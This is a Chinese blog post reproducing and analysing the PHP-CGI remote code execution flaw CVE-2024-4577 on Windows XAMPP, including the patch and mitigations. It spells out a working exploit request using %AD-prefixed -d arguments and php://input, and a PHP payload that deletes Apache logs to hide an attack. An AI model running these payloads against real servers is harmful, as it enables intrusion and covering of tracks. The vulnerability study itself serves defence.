PHP CGI遠(yuǎn)程代碼執(zhí)行高危漏洞(CVE-2024-4577)復(fù)現(xiàn)與源碼分析

五一假期,偶然間刷到了這個(gè)漏洞,我用shodan鐘馗之眼做了資產(chǎn)掃描,發(fā)現(xiàn)大量有使用XMAPP的用戶,并且攻擊成本并不高,危害卻很大。
中國工程院院士鄔賀銓曾說過:“網(wǎng)絡(luò)安全永遠(yuǎn)在路上,那么總是要不斷在完善,可以說見招拆招”。漏洞評(píng)分達(dá)到了驚人的9.8,這篇文章必須寫。

漏洞影響力

  • 用戶眾多: 經(jīng)資產(chǎn)掃描,很多用戶都用的XMAPP,有漏洞的版本至今可以輕而易舉的下載到,相信有不少開發(fā)者使用包含次漏洞的版本。
  • 導(dǎo)致服務(wù)器淪陷: 可以通過遠(yuǎn)程代碼執(zhí)行,執(zhí)行任意PHP指令,PHP可以對(duì)文件、數(shù)據(jù)庫進(jìn)行增刪改查操作,那就相當(dāng)于服務(wù)器淪陷,這里就不必演示了。
  • 可能導(dǎo)致被攻擊后無法溯源: 由于Windows不像Linux系統(tǒng)那樣對(duì)文件權(quán)限,和應(yīng)用所屬用戶有要求,因此攻擊后可以paylod直接傳入<?php unlink('../apache/logs/error.log');unlink('../apache/logs/access.log'); ?>刪除請(qǐng)求日志用于銷毀攻擊過程,親測(cè)即使Apache處于運(yùn)行狀態(tài)也好使。如果服務(wù)器實(shí)例本身或上游節(jié)點(diǎn)沒做請(qǐng)求記錄,溯源都不可能。

漏洞成因

Windows的Best-Fit字符編碼轉(zhuǎn)換特性導(dǎo)致PHP原本的安全限制被繞過,導(dǎo)致攻擊者可以通過特定的字符序列繞過此前CVE-2012-1823的防護(hù),從而導(dǎo)致遠(yuǎn)程代碼執(zhí)行。

受影響版本

  • 系統(tǒng):Windows 包含繁體中文(950)、簡體中文(936)、日文(932),理論上不排除其它語言的windows也有漏洞。
  • 軟件:XAMPP
  • PHP受影響版本:
    • PHP8.3 < 8.3.8
    • PHP8.2 < 8.2.20
    • PHP8.1 < 8.1.29
    • 其它低版本的PHP已不在維護(hù),可能會(huì)受到影響。

復(fù)現(xiàn)

  1. 下載:找到XAMPP下載站點(diǎn),我用的是8.1.25 / PHP 8.1.25,https://www.apachefriends.org/download.html,下載直鏈地址:https://nchc.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.1.25/xampp-windows-x64-8.1.25-0-VS16-installer.exe?viasf=1
  2. 安裝:直接傻瓜式安裝,點(diǎn)擊下一步就可以了,我用虛擬機(jī),直接安裝在C:/xampp。
  3. 啟動(dòng):打開C:/xampp,有一個(gè)xampp-control.exe,雙擊打開后,進(jìn)入可視化的控制面板,啟動(dòng)Apache即可。
  4. 構(gòu)造參數(shù)如下(不要用APIPost等專業(yè)的接口請(qǐng)求工具,否則不遵循RestFul下限的請(qǐng)求將導(dǎo)致無法復(fù)現(xiàn)):
POST的請(qǐng)求方式。
URL: 電腦IP/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
Header:Content-Type 設(shè)置為 application/x-www-form-urlencoded
Body:直接傳入<?php phpinfo(); ?>即可,不需要form表單提交所謂的name=value
然后發(fā)送請(qǐng)求,部分亂碼返回不用管,直接RCE了。

漏洞原理分析

繞過原理分析

  1. Unicode官網(wǎng)提供了Windows的Best-Fit字符編碼轉(zhuǎn)換最基礎(chǔ)的數(shù)據(jù)支撐:https://unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit936.txt 52行、25410行,24601行中不難發(fā)現(xiàn),-有0x00ad0x002d兩種表示方式,其中0x00ad稱之為連字符。用PowerShell指令也能得到部分驗(yàn)證:
#[System.Text.Encoding]::UTF8.GetBytes('-') 會(huì)將字符 - 轉(zhuǎn)換為它的 UTF-8 字節(jié)序列。
#ForEach-Object { '{0:X2}' -f $_ } 將字節(jié)序列的每個(gè)字節(jié)轉(zhuǎn)換為十六進(jìn)制格式。
[System.Text.Encoding]::UTF8.GetBytes('-') | ForEach-Object { '{0:X2}' -f $_ }
  1. 并且還需要知道一個(gè)前提:CGI 處理程序提供一個(gè)連字符 (0xAD),CGI處理程序不會(huì)認(rèn)為有必要對(duì)其進(jìn)行轉(zhuǎn)義,而是會(huì)將其傳遞給PHP,但PHP會(huì)將其解釋為真正的鏈接符號(hào)字符,這使得攻擊者能夠?qū)⒁赃B字符開頭的額外命令行參數(shù)偷偷帶入PHP進(jìn)程
  2. 根據(jù)https://pentesterlab.com/exercises/cve-2012-1823顯示,利用-d allow_url_include=1 -d auto_prepend_file=php://input是直接可以注入,從而實(shí)現(xiàn)RCE的。
  3. 剛好,網(wǎng)絡(luò)安全員利用了%ad這個(gè)字符組合,通過Best-Fit匹配到的是連字符-,直接繞過了if(*p == '-') {skip_getopt = 1;}的等值判斷,注意傳入%,實(shí)際上是url轉(zhuǎn)義的結(jié)果,url轉(zhuǎn)義-的結(jié)果是%2d,那么就傳入%AD繞過,前面的0x00可直接省略。
  4. 然后再看PHP源碼倉庫的對(duì)該漏洞的補(bǔ)?。?a target="_blank">https://github.com/php/php-src/commit/4dd9a36c165974c84c4217aa41849b70a9fc19c9,從中不難發(fā)現(xiàn):新增的PHP_WIN32代碼段,對(duì)字符編碼做了嚴(yán)格的過濾操作,以防止*p == '-'繞過,設(shè)置唯一的目的是使得后面?zhèn)魅氲淖址蛔鰠?shù)解析,不做解析相當(dāng)于沒有業(yè)務(wù)邏輯要處理,自然到此為止。
原本的
        if(*p == '-') {
            skip_getopt = 1;
        }
 增加了如下方代碼,翻譯過來是,我們必須考慮“best fit”映射行為,通過
        /* On Windows we have to take into account the "best fit" mapping behaviour. */
#ifdef PHP_WIN32
    if (*p >= 0x80) { //檢查字符是否為高字節(jié)(大于等于 0x80)
        wchar_t wide_buf[1]; //創(chuàng)建一個(gè)寬字符數(shù)組,用來存放當(dāng)前字符
        wide_buf[0] = *p; //將字符 *p 存放到 wide_buf[0] 中

        char char_buf[4]; //創(chuàng)建一個(gè)多字節(jié)字符數(shù)組,用來存放轉(zhuǎn)換后的字符
        size_t wide_buf_len = sizeof(wide_buf) / sizeof(wide_buf[0]); //計(jì)算寬字符數(shù)組的長度(這里只包含一個(gè)字符)
        size_t char_buf_len = sizeof(char_buf) / sizeof(char_buf[0]); //計(jì)算多字節(jié)字符數(shù)組的長度(最多 4 個(gè)字節(jié))

        // 將寬字符轉(zhuǎn)換為多字節(jié)字符,使用 Windows 的 WideCharToMultiByte 函數(shù)
        if (WideCharToMultiByte(CP_ACP, 0, wide_buf, wide_buf_len, char_buf, char_buf_len, NULL, NULL) == 0
            || char_buf[0] == '-') { // 如果轉(zhuǎn)換失敗或轉(zhuǎn)換后的第一個(gè)字符是 '-'
            skip_getopt = 1; // 設(shè)置跳過 getopt 選項(xiàng)的標(biāo)志
        }
    }
#endif

RCE攻擊鏈路分析

  1. 環(huán)境配置漏洞1:打開C:/xampp/apache/conf/httpd.conf,第104行,LoadModule cgi_module modules/mod_cgi.so,指的是Apache使用CGI模式與后端程序運(yùn)行,也只有PHP的CGI模式運(yùn)行,有這個(gè)漏洞。
  2. 環(huán)境配置漏洞2:然后再打開C:/xampp/apache/conf/extra/httpd-xampp.conf第48行,這就決定攻擊url可以訪問到php-cgi.exe核心二進(jìn)制文件的原因。
ScriptAlias /php-cgi/ "C:/xampp/php/"    #任何以 /php-cgi/開頭的 URL 請(qǐng)求都會(huì)被 Apache 轉(zhuǎn)發(fā)到 C:/xampp/php/目錄下的文件。
<Directory "C:/xampp/php">               #指定了對(duì) C:/xampp/php/目錄的訪問控制設(shè)置。它包裹了一些Directory內(nèi)部的指令,用來限制或允許該目錄下文件的訪問。
    AllowOverride None                   #指定不允許在該目錄內(nèi)使用 .htaccess 文件覆蓋全局配置
    Options None                         #禁用了 C:/xampp/php/目錄下所有的選項(xiàng)(如目錄列表、符號(hào)鏈接等),用于減少安全風(fēng)險(xiǎn)。
    Require all denied                   #默認(rèn)情況下,C:/xampp/php/目錄下的所有文件和資源都拒絕訪問
    <Files "php-cgi.exe">                #聲明文件php-cgi.exe,準(zhǔn)備做另外的權(quán)限控制
          Require all granted            #做的是允許php-cgi.exe文件的訪問
    </Files>
</Directory>
  1. 再回頭看php-cgi.exe,他是PHP的CGI方式運(yùn)行的可執(zhí)行文件,用于在Windows環(huán)境中運(yùn)行PHP 腳本,并且有個(gè)前提直到它支持接受GET、POST參數(shù)的。拖到命令行,并添加-h,顯示如下,其中最值得注意的-d參數(shù),用于定義ini配置參數(shù)(并不是將配置寫入文件,而是運(yùn)行期間定義ini配置),這為下游的RCE做好了準(zhǔn)備。
php-cgi.exe -h
Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>]
       php <file> [args...]
  -a               Run interactively
  -b <address:port>|<port> Bind Path for external FASTCGI Server mode
  -C               Do not chdir to the script's directory
  -c <path>|<file> Look for php.ini file in this directory
  -n               No php.ini file will be used
  -d foo[=bar]     Define INI entry foo with value 'bar'
  -e               Generate extended information for debugger/profiler
  -f <file>        Parse <file>.  Implies `-q'
  -h               This help
  -i               PHP information
  -l               Syntax check only (lint)
  -m               Show compiled in modules
  -q               Quiet-mode.  Suppress HTTP Header output.
  -s               Display colour syntax highlighted source.
  -v               Version number
  -w               Display source with stripped comments and whitespace.
  -z <file>        Load Zend extension <file>.
  -T <count>       Measure execution time of script repeated <count> times.
  1. 根據(jù)上游的說明,解析參數(shù)%ADd+cgi.force_redirect%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input,就變成了-d+cgi.force_redirect=0+-d+allow_url_include=1+-d+auto_prepend_file=php://input
    • cgi.force_redirect=0:https://www.php.net/manual/zh/ini.core.php#ini.cgi.force-redirect 用于控制 PHP 是否可以直接被請(qǐng)求,而不通過 Web 服務(wù)器(如 Apache 或 Nginx)的代理,值為1時(shí),PHP 會(huì)強(qiáng)制要求請(qǐng)求通過 Web 服務(wù)器來進(jìn)行,這個(gè)不加不行,鏈路必須通過Apache,畢竟是通過Apache才能在線訪問的到php-cgi.exe。
    • allow_url_include=1:https://www.php.net/manual/zh/filesystem.configuration.php#ini.allow-url-include表示允許PHP可以include或require遠(yuǎn)程文件,或在線的文件。
    • auto_prepend_file=php://inputhttps://www.php.net/manual/zh/ini.core.php#ini.auto-prepend-file,引入遠(yuǎn)程文件的文件名是,獲取原始的POST數(shù)據(jù),這個(gè)數(shù)據(jù),就是上游傳到body體的一句話木馬:<?php phpinfo(); ?>
    • php-cgi cli模式下,kv之間用空格隔開。但是攻擊URL中,將+換成空格或%20時(shí),攻擊鏈路就失效了,經(jīng)查詢,+被用于表示空格,這是URL編碼的一種習(xí)慣做法,看來是歷史原因,不過能接受參數(shù)就行。
      1. 至此,攻擊執(zhí)行后,完成攻擊。

修復(fù)方案

  • 升級(jí)到?jīng)]有漏洞的PHP版本。
  • 對(duì)于PHP版本過低升級(jí)主版本擔(dān)心有問題,或不愿升級(jí)的用戶,打開xampp/apache/conf/extra/httpd-xampp.conf 在約48行左右的<Directory "C:/xampp/php">內(nèi)添加
RewriteEngine On                         #啟用重寫
RewriteCond %{QUERY_STRING} ^%ad [NC]    #檢查URL參數(shù)后面%ad開頭的路徑,NC表示不區(qū)分大小寫
RewriteRule .? - [F,L]                   #若任意路徑符合上述特征(.?),不對(duì)url做修改(-),但是要拒絕訪問(F),這是最后一條規(guī)則,如果該規(guī)則匹配成功,就不會(huì)繼續(xù)處理其他的重寫規(guī)則(L)

這個(gè)將導(dǎo)致攻擊返回403

或注釋掉:

ScriptAlias /php-cgi/ "C:/xampp/php/"

這個(gè)將導(dǎo)致攻擊返回404

什么是Windows的Best-Fit字符編碼轉(zhuǎn)換

  • 概念:一種用于將字符從一種編碼格式轉(zhuǎn)換到另一種編碼格式的機(jī)制。用于處理不同字符集之間的兼容性問題,尤其是在操作系統(tǒng)中不同區(qū)域、語言或系統(tǒng)應(yīng)用間進(jìn)行字符數(shù)據(jù)交換時(shí),確保字符能夠在不同編碼之間盡可能無誤地轉(zhuǎn)換。
  • 特性:
    • 字符映射最接近的匹配:在源編碼和目標(biāo)編碼之間,沒有完全匹配的字符時(shí),Best-Fit會(huì)選擇一個(gè)最接近的字符來替代。
    • 容忍丟失或不兼容的字符:這種轉(zhuǎn)換方法容忍一些字符的丟失,因?yàn)樗鼤?huì)嘗試保留最為接近的字符。即便目標(biāo)編碼中沒有對(duì)應(yīng)的字符,也不會(huì)讓轉(zhuǎn)換失敗。
    • 通常用于兼容老系統(tǒng):Best-Fit字符轉(zhuǎn)換常見于Windows的“兼容性模式”,比如在一些不支持Unicode的舊應(yīng)用程序中,Windows可能使用Best-Fit進(jìn)行字符集轉(zhuǎn)換,以便舊程序可以在現(xiàn)代系統(tǒng)上運(yùn)行,而不至于崩潰或產(chǎn)生亂碼。
  • 應(yīng)用場(chǎng)景:
    • 從ANSI編碼到Unicode編碼的轉(zhuǎn)換:Windows系統(tǒng)內(nèi)有大量的基于ANSI編碼的程序,這些程序可能并不完全支持Unicode,因此在進(jìn)行字符集轉(zhuǎn)換時(shí)會(huì)使用Best-Fit來避免丟失重要信息。
    • 在不同語言的系統(tǒng)間轉(zhuǎn)換字符集:Windows支持多種語言,每種語言有自己的字符編碼標(biāo)準(zhǔn)。Best-Fit轉(zhuǎn)換在這些不同語言的環(huán)境中,可以盡可能減少字符顯示錯(cuò)誤或亂碼問題。
  • 優(yōu)點(diǎn):
    • 可以在沒有完全映射的情況下完成字符轉(zhuǎn)換,減少亂碼或錯(cuò)誤。
    • 容錯(cuò)能力強(qiáng),能夠保證一些非標(biāo)準(zhǔn)字符的正常顯示。
  • 缺點(diǎn):
    • 轉(zhuǎn)換的結(jié)果可能不完全準(zhǔn)確,尤其是當(dāng)字符集之間的差異較大時(shí),可能會(huì)產(chǎn)生誤解或錯(cuò)誤的字符顯示。
    • 在某些情況下,可能會(huì)導(dǎo)致字符信息的丟失,因?yàn)闊o法完全還原原始數(shù)據(jù)。

PHP CGI、Mod、PHP-FPM 3種與Web服務(wù)器通信的區(qū)別

  • PHP CGI(Common Gateway Interface)

    • CGI 是最早的一種Web腳本執(zhí)行方式,PHP CGI是PHP在CGI模式下的運(yùn)行方式。每當(dāng)Web服務(wù)器接收到一個(gè)PHP請(qǐng)求時(shí),Web服務(wù)器會(huì)啟動(dòng)一個(gè)PHP進(jìn)程來處理該請(qǐng)求,處理完后再退出。
    • 優(yōu)點(diǎn):
      • 適配較好,支持與主流服務(wù)器的通信方式。
      • 每個(gè)請(qǐng)求都在單獨(dú)的進(jìn)程中運(yùn)行,互相獨(dú)立,具有較高的隔離性。
    • 缺點(diǎn):
      • 每次請(qǐng)求都要啟動(dòng)一個(gè)新的PHP進(jìn)程,因此性能較差。對(duì)于高流量網(wǎng)站不適合。
  • PHP Mod(Apache mod_php)

    • 這是將PHP集成到Apache Web服務(wù)器中的一種方式。PHP作為Apache的一個(gè)模塊運(yùn)行,每當(dāng)Apache處理一個(gè)HTTP請(qǐng)求時(shí),PHP 直接在Apache進(jìn)程中執(zhí)行。這意味著請(qǐng)求和PHP代碼在同一個(gè)進(jìn)程中運(yùn)行。
    • 優(yōu)點(diǎn):
      • 性能較好:因?yàn)锳pache和PHP在同一進(jìn)程中運(yùn)行。
      • 配置簡單:不需要額外的進(jìn)程管理工具,其次是很多集成環(huán)境天生就配好了Apache與PHP的組合。
    • 缺點(diǎn):
      • 每個(gè)Apache進(jìn)程都會(huì)加載PHP,可能會(huì)導(dǎo)致資源浪費(fèi),尤其是在大量靜態(tài)資源請(qǐng)求時(shí),沒那么輕量級(jí)。
  • PHP-FPM(FastCGI Process Manager)

    • 原理:PHP-FPM是FastCGI的進(jìn)程管理器,PHP-FPM在獨(dú)立的進(jìn)程池中運(yùn)行,Nginx服務(wù)器通過FastCGI協(xié)議將請(qǐng)求交給PHP-FPM進(jìn)程池處理。PHP-FPM進(jìn)程池通常是持續(xù)運(yùn)行的,可以在處理多個(gè)請(qǐng)求時(shí)共享資源,避免了CGI每次啟動(dòng)新進(jìn)程的開銷。
    • 優(yōu)點(diǎn):
      • 性能優(yōu)于CGI,因?yàn)镻HP-FPM進(jìn)程池保持活躍,能夠快速響應(yīng)多個(gè)請(qǐng)求。
      • 更靈活,可以配置不同的PHP-FPM池來處理不同的請(qǐng)求,比如不同的PHP配置、不同的用戶。
      • 比 Mod-PHP 更輕量,因?yàn)?PHP 進(jìn)程與 Web 服務(wù)器進(jìn)程是分開的。
      • 支持進(jìn)程池的管理,可以控制最大進(jìn)程數(shù)、內(nèi)存使用等。
    • 缺點(diǎn):
      • 配置略為復(fù)雜,需要額外安裝和配置PHP-FPM。
      • 需要對(duì)Nginx進(jìn)行額外的配置,以支持FastCGI。

CGI、FastCGI、PHP-FPM本身的區(qū)別

  • CGI:是通用網(wǎng)關(guān)接口:一種標(biāo)準(zhǔn),用來讓W(xué)eb服務(wù)器與外部程序(通常是動(dòng)態(tài)語言腳本如PHP、Perl、Python等)進(jìn)行交互。CGI 程序接收HTTP請(qǐng)求、會(huì)啟動(dòng)一個(gè)新的進(jìn)程來執(zhí)行CGI程序。程序執(zhí)行完成后,將結(jié)果返回給Web服務(wù)器。
    • 通俗講:電腦(Web服務(wù)器)主機(jī)本身完不成拍攝(后端數(shù)據(jù)復(fù)雜計(jì)算服務(wù))功能,就需要連接一個(gè)攝像頭(后端腳本語言),為了兩者能夠正常通信,就需要指定一套USB協(xié)議(CGI)。
  • FastCGI是解決CGI的性能問題而生的快速通用網(wǎng)關(guān)協(xié)議。它不再為每個(gè)請(qǐng)求啟動(dòng)一個(gè)新的進(jìn)程,而是復(fù)用進(jìn)程池中的多個(gè)進(jìn)程來處理多個(gè)請(qǐng)求。FastCGI啟動(dòng)時(shí)會(huì)啟動(dòng)一個(gè)或多個(gè)常駐的進(jìn)程池,這些進(jìn)程會(huì)監(jiān)聽Web服務(wù)器發(fā)來的請(qǐng)求。Web服務(wù)器與FastCGI程序之間通過協(xié)議(通常是Unix socket(套接字)或TCP/IP進(jìn)行通信。
  • PHP-FPM是PHP的一個(gè)FastCGI進(jìn)程管理器。添加進(jìn)程管理器的概念可以進(jìn)一步優(yōu)化通信。例如自動(dòng)動(dòng)態(tài)調(diào)整進(jìn)程數(shù)量、或根據(jù)開發(fā)者定制化配置固定進(jìn)程數(shù)量、控制進(jìn)程重啟、慢請(qǐng)求超時(shí)時(shí)間、進(jìn)程所屬用戶、用戶組等。

漏洞相關(guān)鏈接(鳴謝)

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容